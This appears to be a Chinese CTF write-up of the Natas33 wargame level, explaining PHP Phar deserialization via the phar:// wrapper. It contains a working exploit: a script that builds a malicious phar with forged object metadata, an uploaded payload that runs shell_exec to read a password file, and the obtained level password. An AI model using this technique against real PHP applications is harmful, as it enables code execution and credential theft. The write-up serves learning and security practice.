Natas33 Writeup(Phar反序列化漏洞)

Natas33:

又是一个上传文件的页面,源码如下:

// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
    private $filename=""; 		//三个私有参数
    private $signature=‘adeafbadbabec0dedabada55ba55d00d‘;
    private $init=False;

    function __construct(){		//类创建时调用
        $this->filename=$_POST["filename"];
        if(filesize($_FILES[‘uploadedfile‘][‘tmp_name‘]) > 4096) {	//限制文件大小
            echo "File is too big<br>";
        }
        else {														//将文件移动到/natas33/upload/目录下
            if(move_uploaded_file($_FILES[‘uploadedfile‘][‘tmp_name‘], "/natas33/upload/" . $this->filename)) {
                echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                echo "Firmware upgrad initialised.<br>";
            }
            else{
                echo "There was an error uploading the file, please try again!<br>";
            }
        }
    }

    function __destruct(){		//类销毁时调用
        // upgrade firmware at the end of this script

        // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
        if(getcwd() === "/") chdir("/natas33/uploads/");	//getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
        if(md5_file($this->filename) == $this->signature){	//md5_file() 函数计算文件的 MD5 散列。
            echo "Congratulations! Running firmware update: $this->filename <br>";
            passthru("php " . $this->filename); //执行外部命令
        }
        else{
            echo "Failur! MD5sum mismatch!<br>";
        }
    }
}

session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
    new Executor();
}

查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。

查看前端代码,会发现我们可以修改两个参数,文件名和文件内容。在下面这段代码中,我们可以看到文件名的设置,是用的session_id作为默认值。而且源码对上传文件的类型没有限制。

<form enctype="multipart/form-data" action="index.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
    <input type="hidden" name="filename" value="<? echo session_id(); ?>" />
        Upload Firmware Update:<br/>
    <input name="uploadedfile" type="file" /><br />
    <input type="submit" value="Upload File" />
</form>

继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞

我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。

Phar文件结构

Phar文件主要包含三至四个部分:

1. A stub

  • stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件

2. a manifest describing the contents

  • Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

3. the file contents

  • 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

  • 签名校验

尝试利用phar反序列化漏洞获取密码

一 序列化

根据文件结构我们来自己构建一个phar文件(php内置了一个Phar类),代码如下:

<?php
	class Executor {
		private $filename = "xx.php";
        private $signature = True;
        private $init = false;
	}

	$phar = new Phar("test.phar");			//后缀名必须为phar
	$phar->startBuffering();
	$phar->addFromString("test.txt", ‘test‘);	//添加要压缩的文件
	$phar->setStub("<?php __HALT_COMPILER(); ?>");	//设置stub
	$o = new Executor();
	$phar->setMetadata($o);				//将自定义的meta-data存入manifest
	$phar->stopBuffering();				//签名自动计算
?>

这段代码将filename修改成了xx.php,将signature修改为True。这样的的话,MD5比较将会始终为真,passthru()函数将会执行xx.php。

代码直接运行的时候会报错:

将php.ini中的phar.readonly设置成off,重启服务后,重新运行代码,生成了一个test.phar文件。

用Notepad++打开文件,可以发现,meta-data已经以序列化的形式存在test.phar文件中

说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里

二 反序列化

对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。

首先,上传一个用来读取密码的php文件,代码如下:

<?php echo shell_exec(‘cat /etc/natas_webpass/natas34‘); ?>

用bp将其拦截,修改名称为xx.php。然后点击Go,上传成功。

然后,将生成的phar文件上传,并重命名,点击Go,上传成功。

最后,将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取到flag。

flag:shu5ouSu6eicielahhae0mohd4ui5uig

参考:

https://blog.csdn.net/baidu_35297930/article/details/99974886
https://www.cnblogs.com/zy-king-karl/p/11454609.html
https://www.cnblogs.com/Byqiyou/p/10187672.html

原文地址:https://www.cnblogs.com/zhengna/p/12381943.html

时间: 2024-07-30 09:42:37

Natas33 Writeup(Phar反序列化漏洞)的相关文章

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

(单例设计模式之一)饿汉式的反射与反序列化漏洞

1.闲话少说,直接上代码. import java.io.Serializable;//饿汉式public class Singleton01 implements Serializable{    //1.私有的属性    private static Singleton01 instance=new Singleton01();    //2.私有的构造器    private Singleton01(){}    //3.共有的get()方法    public static  Singl

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

php反序列化漏洞绕过魔术方法 __wakeup

0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() 1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello"

weblogic打补丁修复JAVA反序列化漏洞 &nbsp; &nbsp; &nbsp;

之前一篇文章记录部署web代理修复漏洞通过部署web代理来修复JAVA反序列化漏洞,这篇通过打补丁来修复这个漏洞.详见(Doc ID 2075927.1) 系统环境如下所示: OS:Oracle Linux Server release 6.1 64bit Weblogic:10.3.6 具体操作如下步骤所示: 1.备份备份备份 2.一切操作安装补丁README来 2.1 更新PSU 2.2 打补丁 1.备份 做好备份工作,无论是否可以回退,保证有备份 2.上传PSU weblogic补丁上传,

WebLogic反序列化漏洞导致getshell

本文主要是讲述在主机渗透中我们经常使用的一条路径(存活判断-端口扫描-端口删选(web端口)-针对性渗透(web渗透))进行渗透,其中主要涉及发现漏洞.利用漏洞.获取上传位置等过程中自己的一点经验技巧.简单来说,本文主要是对某主机进行渗透的全过程记录!如有不合理或错误的地方,烦请各位多多指教,谢谢! 1.1    主机存活判断 当我们得到一个主机IP时,我们首先对它进行存活判断,最简单的就是通过ping命令,但是如果主机是禁ping那么我们可能会判断失误,因此我们需要使用nmap来再次进行存活判

关于反序列化漏洞

0x00 关于序列化和反序列化 在了解反序列化漏洞之前需要先了解序列化和反序列化. 序列化 (Serialization)将对象的状态信息转换为可以存储或传输的形式的过程. 把字节序列恢复为对象的过程称为对象的反序列化. 0x01 关于概述反序列化漏洞 由于把字节序列恢复为对象,并且没有限制恢复对象的类型.攻击者可以传入恶意的字节序列,通过反序列化,恢复成对象,并调用其它函数.如果调用命令执行的函数可能会导致命令执行.>_< 0x02 有深入研究后再继续写

小白审计JACKSON反序列化漏洞

1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import org.springframework.util.FileCopyUtils; import java.io.ByteArrayOutputStream; import java.io.File

PHP反序列化漏洞

聊一聊PHP反序列化漏洞 2016年11月4日 反序列化漏洞在各种语言中都较为常见,下面就简单聊一聊PHP的反序列化漏洞(PHP对象注入).第一次了解这个洞还是在某次ctf上,就简单记录下个人理解以及对CVE-2016-7124的简单分析. 序列化与反序列化 php允许保存一个对象方便以后重用,这个过程被称为序列化,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字.先看一眼具体什么样子 name . '\'s phone is ' . $this->phone; }